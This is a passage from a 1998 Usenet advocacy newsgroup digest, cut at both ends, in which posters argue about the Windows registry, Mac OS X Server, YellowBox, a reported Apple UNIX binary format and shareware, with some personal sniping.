was a big no-no. Win95 immediately began acting funny. I'm assuming
that the reason was that Win95 could no longer read the registry
properly. The machine froze during shutdown.
I rebooted and, during boot up, received the message that the
directory was hosed. Win95 asked if I wanted to restore the last
registry that was known to be good. I said yes and the machine came
up.
Unfortunately, I did it again. I messed with the registry and hosed
the machine. This time, however, I connected both drives to the
machine and started NT. I examined the drive with NT Disk
Administrator. DA wanted to mark the drive. As I was clicking the OK
button I was realizing that I just hosed the drive. Sure enough, the
drive didn't want to boot (DA didn't recognize the drive as being
formatted, so it marked the drive after the MBR.)
I finally discovered the LRG/CHS problem and now have to manually set
the drive parameters when I switch drives. I have no idea why my
machine started to recognize the drive differently. I'm just lucky
that the drive didn't have anything important on it.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 08:41:10 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77fol6.s7s.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <758bsk$bic$1@nnrp1.dejanews.com> <3677CFE0.1FDBCD8@digiscape.com>
On Wed, 16 Dec 1998 15:21:04 +0000, Chris Welch <chaotic42@digiscape.com> wrote:
>westprog@my-dejanews.com wrote:
>What do
>> you do when the system stops working properly?
Repair that part of the system configuration state which
is relevant to the problem and only that part of the
system configuration state. In practice, many discrete
ascii files are more likely to ensure this than a token
database (put in place just so that people can be smug
about having 'a' database).
>>
>It doesn't.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 08:43:44 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77foq0.s7s.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com>
On Wed, 16 Dec 1998 14:40:44 GMT, Willy <willy1@rocketmail.com> wrote:
>On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
>jedi@dementia.mishnet () wrote:
>
>> It's too easy to corrupt, it's not easy enough to
>> restore & too few tools are available to make up
>> for any of it's shortcomings.
>
>I hosed my registry good (doing something I shouldn't have been doing)
>When Win95 rebooted, it told me there was a problem with the registry
>and that it will restore the last known good registry. It rebooted
>and Win95 came up looking exactly as it did before and all my
>applications worked.
>
>So what's so hard about restoring the registry?
It's an opaque undocumented binary data structure
not a simple element of the filesystem.
cd /etc/;tar -czf /tmp/etc.tgz is really much more
reliable and useful.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft patented 'completion'
Newsgroups: comp.sys.next.advocacy
References: <36778d0e.0@news.depaul.edu> <75a77u$4lv$10@blue.hex.net>
Message-ID: <3678ab47.0@news.depaul.edu>
Date: 17 Dec 98 06:57:11 GMT
Christopher Browne <cbbrowne@news.hex.net> wrote:
> On 16 Dec 98 10:35:58 GMT, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
> >Filed June 5 1996
> >Issued Dec 1, 1998
> >
> >US5845300: Method and apparatus for suggesting completions for a
> >partially entered data item based on previously-entered,
> >associated data items
> Would the Tenex shell represent prior art?
> (As well as Bash, zsh, tcsh, and <a
> href="http://www.geocities.com/~earnoth/KornBeatMS.htm"> Korn Shell
> </a>???)
Perhaps.
They actually mention a few cases in the patent filing, several
of which are Microsoft's.
The specific angle on this particular patent is that it uses
a 'dynamic' set of items for possible completions for a data
field.
The examples of similar technology use non- dynamic sets,
though it's not entirely clear.
Date: Wed, 16 Dec 1998 21:06:51 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Message-ID: <joe.ragosta-1612982106510001@elk70.dol.net>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com>
In article <3677c55f.1199644@news2.asan.com>, willy1@rocketmail.com
(Willy) wrote:
> On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
> jedi@dementia.mishnet () wrote:
>
> > It's too easy to corrupt, it's not easy enough to
> > restore & too few tools are available to make up
> > for any of it's shortcomings.
>
> I hosed my registry good (doing something I shouldn't have been doing)
> When Win95 rebooted, it told me there was a problem with the registry
> and that it will restore the last known good registry. It rebooted
> and Win95 came up looking exactly as it did before and all my
> applications worked.
>
> So what's so hard about restoring the registry?
Nothing. When it works.
The problem with Windows is too many things appear to be random. They work
sometimes, but not all the time.
--
Regards,
Joe Ragosta
Date: Wed, 16 Dec 1998 21:08:22 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Message-ID: <joe.ragosta-1612982108230001@elk70.dol.net>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677fa11.14689402@news2.asan.com> <36780C85.A7C6D522@digiscape.com>
In article <36780C85.A7C6D522@digiscape.com>, Chris Welch
<chaotic42@digiscape.com> wrote:
> Willy wrote:
> >
> > On Wed, 16 Dec 1998 15:19:48 +0000, in comp.os.ms-windows.advocacy
> > Chris Welch <chaotic42@digiscape.com> wrote:
> >
> > >Please, send me a copy of your CD.
> >
> > Well, I can't do that, but it's the OEM OSR2 CD.
>
> Well, I have that one so there are three posibilities:
>
> 1. You are lying (I doubt that, though)
> 2. I do more volatile things that could mess up the registry
> 3. For some reason Windows doesn't like my hardware
#3 is quite likely. One of the trademarks of Windows is that it works
sometimes, but not others. Very, very unpredictable.
Sometimes, even two systems that are identical will behave
differently--presumably due to the applications being installed in
different orders or something of the type.
--
Regards,
Joe Ragosta
From: Harald Ellmann <ellmann@msi.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: RFI ranting...again!
Date: Thu, 17 Dec 1998 08:20:47 +0100
Organization: Stockholm University
Distribution: world
Message-ID: <3678B087.5CC98613@msi.se>
References: <3677D64D.3EE2DFFE@msi.se> <F42J76.C4J@T-FCN.Net> <user-1612982352380001@dub234042.columbus.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
inphlux wrote:
> Look, we all know that Robert Morgan is clinically insane. reposting his
> articles here do nothing more than to further propogate his bullshit.
> please refrain from it in the future, as the signal/noise ratio is already
> unbearable. If you would notice, he wrote an article exactly 1 month ago
> claiming the same thing, that the 'grand convergence' and the 'mother of
> all apple recon' reports were delayed for some irrational excuse and that
> they would be arriving shortly. methinks hes waiting for apple to announce
> something so he can go 'i told you so' again...
Yes, I am sorry for wasting bandwidth. I just got mad and had to purge
myself.
Harald
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Thu, 17 Dec 1998 07:24:53 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <368bb0ad.1498440671@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <petrichF410LM.B7t@netcom.com> <368526cf.1397611109@news.isomedia.com> <75a77m$4lv$5@blue.hex.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On 17 Dec 1998 06:09:58 GMT, cbbrowne@news.hex.net (Christopher
Browne) wrote:
>On Wed, 16 Dec 1998 03:32:53 GMT, Sang K. Choe
><sang@isomedia.com.remove.this.com> wrote:
>>On Tue, 15 Dec 1998 21:48:58 GMT, petrich@netcom.com (Loren Petrich)
>>wrote:
>>> [on how to make the Windows Registry usable -- impose exclusive access]
>>>
>>> And not only that -- use database techniques to make it
>>>fail-safe. Arrange so that if some change to it is partially do
>>
>>If you mean transaction-like submit/commit/rollback, than it already
>>does.
>
>Does that work for an arbitrarily large set of keys in a single
>transaction?
No, each "key" (or entry) is garanteed to be "atomic" but a set of
them are not. In otherwords, if I have to set three entries: one
taking an integer (4 bytes), one taking a 10 character long string
(internally it's stored as in Unicode so it would be 22 bytes--20 for
the character and 2 more for the double NULLs), and one taking a 200
byte binary data. It'll garantee that I won't do a partial write on
any of the single entries, but it won't garantee that I will
successfully write all three of them (or rollback all three if one
should fail).
-- Sang.
----------------------------------------------
My views are my own.
From: bresink@informatik.uni-koblenz.de (Marcel Bresink)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next on Intel laptop
Date: 17 Dec 1998 07:20:46 GMT
Organization: University Koblenz / CC
Message-ID: <75abce$3ol$1@newshost>
References: <3678891D.E742A371@netunlimited.net>
gilley <gilley@netunlimited.net> wrote:
> Would it be possible to run NextOS on a IBM think pad?
> (365XD, trident cyber Video chip, CD rom)
ThinkPads with the Trident Cyber9382 or Cyber9385 are officially supported.
However, it won't be much fun to run Openstep on an 800 x 600 resolution.
Some application windows won't fit on the screen.
Marcel
---
Marcel Bresink, University of Koblenz, Institute for Computer Science
Rheinau 1, D-56075 Koblenz, Germany, Fon: +49-261-287-2770 Fax:...-2745
MIME/NeXT Mail accepted --- WWW: http://www.uni-koblenz.de/~bresink
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF43o7x.GE7@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <36788E73.CB8F4654@yahoo.net>
Date: Thu, 17 Dec 1998 08:14:21 GMT
Sender: adt@netcom17.netcom.com
Black iMage (black_i_mage@yahoo.net) wrote:
: Win 95 for the Mac!!
:
: Just kidding! :-)
It's already been out for quite a while. It runs a bit slower though.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <36783d7f.0@stan.astra.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 17 Dec 98 08:15:15 GMT
On Wed, 16 Dec 1998 23:08:47, mmalcolm crawford <malcolm@plsys.co.uk>
thought aloud:
> In <3677FD44.D59265DA@ericsson.com> Michael Peck wrote:
>
> > The more polite, conversational, open-minded, and energetic people you
> > deliberately and carelessly piss off and treat like dogshit, people like
> > taiQ, the fewer people will care to go to your talks...
> >
> I have neither deliberately "pissed off" taiQ, nor IMHO treated him like
> "dogshit"(*); I have however noted elsewhere that he has repeatedly refused
> to acknowledge the fundamental assertion I and others are making -- namely
> that no-one appears to be against YB/Linux *in principle*.
Huh? This is getting thick. _If_ I have "repeatedly refused to
acknowledge your and others' fundamental assertions" it has been
because I wasn't aware that any participant should actively seek such
fundamental assertions by you and "others" and acknowledge them to be
allowed to continue discussions here without being in your crosshairs.
I can't say anything about these "others" until you let me know who
they might be, but I can say that I have never been asked to
acknowledge any fundamental assertions by you or others. So how can
you claim that I have "repeatedly refused" to do so - and use the
presumption to justify your hostile ad hominem attitude??
I had been engaging in constructive discussions with many people in
this group until you jumped out of the blue at my off-the-cuff
wondering whether it _could_ be that _some_ "OpenStep-hands" were
against YB for Linux because the custom programming deals would suffer
if competition were to increase. It was an honest, although silly
question (I readily admitted in my followup reply that I had been
"grasping straws") and clearly not a statement veiled as a fact. I
was, and to some extent still am, merely curious to learn why some
people would appear to advocate either limited, very slow, or just
wait-and-see attitude towards Yellow Box for Linux when the general
concensus (according to my gut feeling) appears to be that YB for
Linux could indeed help the very NeXT/YB developers in reaching a
wider potential market; especially as Mac OS X is still quite far from
getting into customers hands and Carbon upgrades, with the bigger
brands behind them, may suppress YB apps' adaption on that platform
well in next millenium. :^)
> The fact that he
> continues on occasion to argue as if all ex-NeXT folk were anti-Linux does
> not help further debate, nor is it, from my perspective, polite or
> open-minded.
Huh! (again)
This is ludicrous. The above claim and furthermore assertion that such
behaviour has been recurrent ("continues on occasion...") is
outrageous, inflammatory and absolutely false.
Mr Crawford, I welcome you to find just one such statement by me, let
alone several. Otherwise... I suppose as a British person you know
what to do...
I have a high opinion of the (ex-)NeXT folk in general and I respect
their positions even if they were contrary to mine, just as I respect
anyone who is capable of constructive dialoque. My respect for you, Mr
Crawford, is on the other hand rather understandably waning as you
insist on gravely mischaracterizing me and my postings.
Just look at the "No Slashdot poll" thread by Michael J. Peck and
followups to my reply to him. I offered constructive "criticism" which
was graciously accepted by the author as worth thinking about and
further constructively commented upon by another poster. You, on the
other hand, essentially said: "taiQ composed another sweeping
gereralisation which doesn't stand up to scrutiny" without even as
much as commenting on the issues I raised apart from smartly adding a
link to Apple's site where answer to the question at hand could not be
found.
Couldn't you just stop fixating on something that isn't, admit you
were wrong and move on concentrating on issues more important than
creating bad blood for no reason? Michael is right, you know - your
behaviour has all the potential of turning people away from this
community.
Rgds,
--
taiQ
[this space is intentionally blank]
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <913564390.148534@soam.wwnet.net> <36750AB4.AE89FAE9@ix.netcom.com> <7571qh$q0a$1@news.campus.mci.net> <913779339.899180@soam.wwnet.net> <7584n6$ojn@news.tue.nl>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <bqXd2.2629$WZ6.6688993@ptah.visi.com>
Date: Wed, 16 Dec 1998 23:32:23 GMT
NNTP-Posting-Date: Wed, 16 Dec 1998 17:32:23 CDT
stephanh@svstud.win.tue.nl (Stephan H.M.J. Houben) writes:
>The Gnome project tries to achieve a platform-independent sort-of-equivalent
>thing called Baboon. (Stands for something like
>"Baboon Allows Baboon Objects Over Networks".)
>It sounds rather promising, but unfortunately it is not finished yet.
I thought GNOME used CORBA. Unless Baboon is an IIOP implementation.
Brian
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec16115145@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com>
<FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com>
<754lhd$gi1$15@blue.hex.net> <757gfs$5td@news1.panix.com>
<758kft$po6$2@nnrp03.primenet.com>
In-reply-to: John Jensen's message of 16 Dec 1998 15:43:57 GMT
Date: 16 Dec 98 11:51:45
NNTP-Posting-Date: Thu, 17 Dec 1998 01:59:47 PDT
In article <758kft$po6$2@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> writes:
Sal Denaro <sal@panix.com> wrote:
: [...] Right now Apple should be working on OSX and giving its Mac
: users a reason to buy new Macs.
Strange news on http://www.macosrumors.com
------------------------------------------
"MacOS X and Linux - Apple is proposing a UNIX binary format and
submitting it to the ISO later this month. This will eliminate one
major hassle of UNIX -- having to download source and compile it.
This is a major stride towards making UNIX - including Linux - more
universal.
_I_ thought this was more than strange - it was bizarre. How will
Apple, of all companies, succeeed with a UNIX binary format where
pretty much every UNIX distributor in existence has failed? This is
the holy grail of UNIX, which the industry has been in pursuit of for
years. How will Apple suggesting a new binary format help make Linux
(or FreeBSD) more universal - insofar as these operating systems
_already_ pretty much have the best ability to run foreign UNIX
binaries?
Besides that, what's wrong with ELF, which appears to be the de facto
standard UNIX binary format? Apple would probably be better off
putting their weight behind _existing_ UNIX binary formats.
[Actually, I figured this was one of those technical tidbits which
MacOS Rumors didn't understand well, and didn't have enough to post
without elaborating on it,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec16112323@slave.doubleu.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
<SCOTT.98Dec11174346@slave.doubleu.com>
<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com>
<367705A9.2E8E1132@nstar.net>
In-reply-to: "Michael J. Peck"'s message of Tue, 15 Dec 1998 18:58:17 -0600
Date: 16 Dec 98 11:23:23
NNTP-Posting-Date: Thu, 17 Dec 1998 01:59:47 PDT
In article <367705A9.2E8E1132@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
Rex Riley wrote:
> .. you're not alone in trying to morally recoup your investment
> in ex-NeXT apps. The PBS metaphor for your software distribution
> has the ethical advantage of recouping some financial investment
> as well. It's refreshing to see NeXT ethics (NeXT was a very
> ethical OS) transfer to the public distribution space.
Unfortunately, "Public Radio" and "Public Television" use "Public"
with a capital 'P', meaning that they're heavily tax-subsidized,
and subject largely to the artistic outlook of, say, the National
Endowment for the Arts.
I'm _not_ going to go there... my goal is to meet my "using public"
halfway. I don't want to be paid market rates for my non-billable
time. Rather, I'm looking for a justifiable way to motivate me over
the hump of _finishing_ some of these little utilities. ["Finish"
meaning things like Preferences panels - when you have the source, you
don't need a Preferences panel :-).]
My experience in the NeXT market is that complete freeware isn't quite
motivating enough for me. I find that freeware users don't seem to
send in suggestions and the like as often as shareware users. I
suspect it has something to do with asking for money or something, so
people tell you things like "I'd send money, if only you added...".
Whereas for freeware, I think people are sometimes intimidated and
don't want to impose on you.
[Against, I think this is a userbase thing. A freeware can certainly
reach a critical mass where "enough" people aren't intimidated and
send in good suggestions. I just think that shareware has a smaller
critical mass. Commercialware has an even _smaller_ critical mass,
but loses the valuable contributions from people who don't have the
software, yet.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com> <1dk4ysm.1hcdk185xn1w3N@roxboro0-052.dyn.interpath.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3678e316.0@nnrp1.news.uk.psi.net>
Date: 17 Dec 98 10:55:18 GMT
phenix@interpath.com (John Moreno) wrote:
>Michael Peck <michael.peck@ericsson.com> wrote:
>> "I've never used it, how can it be important?"
>
>How about "Neither I nor anybody I know has ever NEEDED to use it, how
>can it be important?".
Not a good question - nobody has ever really NEEDED to use a computer for
instance, they just make some jobs easier. So that question is really just
as stupid and narrow-minded as the one Michael was poking fun at.
>"Under what circumstances is remotability important and how often will
>the average user encounter those circumstances?" That's the first key
>question to ask yourself before including it.
Nope - that's two questions.
The answer to the first is 'whenever the machine is networked in any way'.
The degree of importance depending on circumstances - in practice very high
when the main user of the machine is not responsible for maintaining it.
The second part of the qustion is misguided ... From the point of view of
a commercial developer it's not the average user that counts - a single
corporate purchaser (for whom remotability is likely to be very important)
may count for several thousand average users.
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <distler-1612982032450001@dial-104-21.ots.utexas.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3678e491.0@nnrp1.news.uk.psi.net>
Date: 17 Dec 98 11:01:37 GMT
distler@golem.ph.utexas.edu (Jacques Distler) wrote:
>In article <759ig9$3gq$1@crib.corepower.com>, nurban@vt.edu wrote:
>
>>> 1) You can always drag the file over the FreeHand icon and it will launch.
>>> (Together with "Spring-loaded" folders for navigating the file system this
>>> is very conveniet.)
>>
>>Still less convenient then being presented directly with a list of all
>>applications which can operate on that file, without having to search
>>for anything.
>
>That is a very nice feature, I agree.
>
>Trouble is, the only thing the Inspector allows you to change is the
>default app to open ALL files of this type. That's not what you want to do
>in this case. All you want to do is open THIS file with an app other than
>the default one. So using the Inspector suffers from the criticism you
>make below.
The inspector lets you 'open THIS file with an app other than the
default one' - just double click in the inspector to open the document
in the desired app without changin the default.
>>
>>> 2)Use "Snitch", which provided an enhanced GetInfo box. In particular, you
>>> can change the Type and Creator codes for the file.
>>
>>But that's rarely what I want to do when I use the Workspace inspector;
>>I want to open the document in a particular app for that one time only.
>>I don't want to have to change the default app, open it, and then change
>>it back.
>
>Exactly why using the Inspector is the probably the wrong tool.
The Inspector lets you do that ('open the document in a particular app
for that one time only') ... how can it possibly be the wrong tool?
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 12:28:06 +0100
Organization: The Computer Society at Lund
Message-ID: <75aps6$csu$1@bartlet.df.lth.se>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com> <SCOTT.98Dec16115145@slave.doubleu.com>
NNTP-Posting-User: cb
(This message is crossposted to com.{sys,os}.{mac,next,linux}.advocacy)
In article <SCOTT.98Dec16115145@slave.doubleu.com>,
Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <758kft$po6$2@nnrp03.primenet.com>,
> John Jensen <jjens@primenet.com> writes:
> Sal Denaro <sal@panix.com> wrote:
> : [...] Right now Apple should be working on OSX and giving its Mac
> : users a reason to buy new Macs.
>
> Strange news on http://www.macosrumors.com
> ------------------------------------------
> "MacOS X and Linux - Apple is proposing a UNIX binary format and
> submitting it to the ISO later this month. This will eliminate one
> major hassle of UNIX -- having to download source and compile it.
> This is a major stride towards making UNIX - including Linux - more
> universal.
>
>_I_ thought this was more than strange - it was bizarre. How will
>Apple, of all companies, succeeed with a UNIX binary format where
>pretty much every UNIX distributor in existence has failed?
By becoming the first distributor of a Unix-based system that manages to
sell their product through retail, and into homes as well as offices and
server settings, on a large scale? (Yes, I am quite aware that many
hobbyists, professionals, etc run Unix machines and such in their homes -
but I am talking about those homes which belong the the
not-quite-that-technical market, such as those who would currently buy
Wintel or Macintosh computers.) Remember, Apple are going to replace their
current Mac OS (with cooperative multitasking, no protected memory, etc
etc) with 'Mac OS X Server' which is basically an updated and improved
OPENSTEP - running on a Mach kernel, a 4.4BSD layer (with much code
originally from the *BSD projects, unless I am mistaken), and the
YellowBox frameworks on top of that; and while Apple are not going to
_market_ it as a Unix system, it will be just as much a Unix system as any
Linux or *BSD system is. (Note: I do not consider X to really be a part of
Unix as such. It is the most frequently used windowing system on Unix at
the moment, but it is not the only one there has ever been, nor do I
consider it a necessary part for something to be called Unix. Your opinion
on this may differ; but since we are discussing 'Unix' in the context of
'binary file formats' here, X doesn't really matter in this discussion.)
> This is
>the holy grail of UNIX, which the industry has been in pursuit of for
>years. How will Apple suggesting a new binary format help make Linux
>(or FreeBSD) more universal - insofar as these operating systems
>_already_ pretty much have the best ability to run foreign UNIX
>binaries?
By offering better applications for Linux and *BSD - those developed with
YellowBox - perhaps? YellowBox _is_ one of the best software
development environment currently available, with some of the best tools.
And if it were easily possible to write software using YellowBox and
Apple's tools (ProjectBuilder, Interface Builder, etc) and then deploy on
all current Unices (which is the goal of having a unified binary format,
no?), then a lot of high-quality applications would soon become available
on Linux and *BSD, as well as the commercial Unices.
>Besides that, what's wrong with ELF, which appears to be the de facto
>standard UNIX binary format?
Um, does it support having multiple copies of the same data but for
different CPU and/or OS types, in the same file - much like NeXT/Apple use
Mach-O for Multi-architecture binaries in both executables and frameworks?
> Apple would probably be better off
>putting their weight behind _existing_ UNIX binary formats.
True - unless those existing binary formats don't offer functionality what
Apple needs, which might include the mentioned multi-architecture binary
support that Apple currently uses (in the Mach-O format used throughout
NeXTSTEP, OPENSTEP and the developer releases of Mac OS X Server).
Of course, it would be nice to see a comparison between the different
offerings - mainly between ELF (which is the predominant existing format
which gets more and more use) and Apple's new offering (of which I would
like to see a description in the first place).
If this - the ability to use the file format for multi-architecture
binaries - is indeed the reason, then I beleive that this may indeed
herald a widely-spread YellowBox from Apple; After all, why would Apple
want to have such a file format, if not for the purpose of being able to
deploy multi-architecture YellowBox applications cross-platform, on
different Unices - perhaps even including the YellowBox development tools?
Something like 'YellowBox for Unix(TM) on Intel Processors' - which would
then be able to run on any Unix that runs on an Intel machine, courtesy of
the common file format. And other versions for platforms based on other
processors - SPARC? Alpha? Merced? - if/when market demand was sufficient.
Apple could thus concentrate on their own OS (Mac OS X) on their own
platform of choice (PowerPC) - in such a way that Mac OS X on PowerPC
would hopefully become something of the platform of choice for YellowBox
development by third parties, regardless of the _target_ platform for the
